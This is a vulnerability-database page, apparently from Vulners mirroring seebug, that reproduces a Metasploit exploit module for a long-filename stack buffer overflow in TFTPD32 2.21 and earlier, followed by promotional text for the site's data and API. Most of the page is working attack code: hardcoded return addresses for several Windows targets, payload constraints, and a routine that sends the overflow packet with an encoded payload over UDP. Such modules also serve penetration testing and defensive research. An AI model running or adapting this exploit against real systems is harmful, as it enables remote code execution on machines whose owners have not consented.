Lucene search
K

TFTPD32 <= 2.21- Long Filename Buffer Overflow

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 9 Views

TFTPD32 <= 2.21 Long Filename Buffer Overflow. Remote attacker could overflow buffer and execute arbitrary code on syste

Code

                                                ##
# $Id: tftpd32_long_filename.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Udp

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;TFTPD32 &#60;= 2.21 Long Filename Buffer Overflow&#39;,
			&#39;Description&#39;    =&#62; %q{
					This module exploits a stack buffer overflow in TFTPD32 version 2.21
				and prior. By sending a request for an overly long file name
				to the tftpd32 server, a remote attacker could overflow a buffer and
				execute arbitrary code on the system.
			},
			&#39;Author&#39;         =&#62; &#39;MC&#39;,
			&#39;Version&#39;        =&#62; &#39;$Revision: 10394 $&#39;,
			&#39;References&#39;     =&#62;
				[
					[&#39;CVE&#39;, &#39;2002-2226&#39;],
					[&#39;OSVDB&#39;, &#39;45903&#39;],
					[&#39;BID&#39;, &#39;6199&#39;],
				],
			&#39;DefaultOptions&#39; =&#62;
				{
					&#39;EXITFUNC&#39; =&#62; &#39;process&#39;,
				},
			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39;    =&#62; 250,
					&#39;BadChars&#39; =&#62; &#34;\x00&#34;,
					&#39;StackAdjustment&#39; =&#62; -3500,
				},
			&#39;Platform&#39;       =&#62; &#39;win&#39;,
			&#39;Targets&#39;        =&#62;
				[
					[&#39;Windows NT 4.0 SP6a English&#39;,    { &#39;Ret&#39; =&#62; 0x77f9d463} ],
					[&#39;Windows 2000 Pro SP4 English&#39;,   { &#39;Ret&#39; =&#62; 0x7c2ec663} ],
					[&#39;Windows XP Pro SP0 English&#39;,     { &#39;Ret&#39; =&#62; 0x77dc0df0} ],
					[&#39;Windows XP Pro SP1 English&#39;,     { &#39;Ret&#39; =&#62; 0x77dc5527} ],
				],
			&#39;Privileged&#39;     =&#62; true,
			&#39;DisclosureDate&#39; =&#62; &#39;Nov 19 2002&#39;
			))

		register_options(
			[
				Opt::RPORT(69)
			], self)
	end

	def exploit
		connect_udp

		print_status(&#34;Trying target #{target.name}...&#34;)

		sploit =
			&#34;\x00\x01&#34; +
			rand_text_english(120, payload_badchars) +
			&#34;.&#34; +
			rand_text_english(135, payload_badchars) +
			[target.ret].pack(&#39;V&#39;) +
			payload.encoded +
			&#34;\x00&#34;

		udp_sock.put(sploit)

		disconnect_udp
	end

end

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation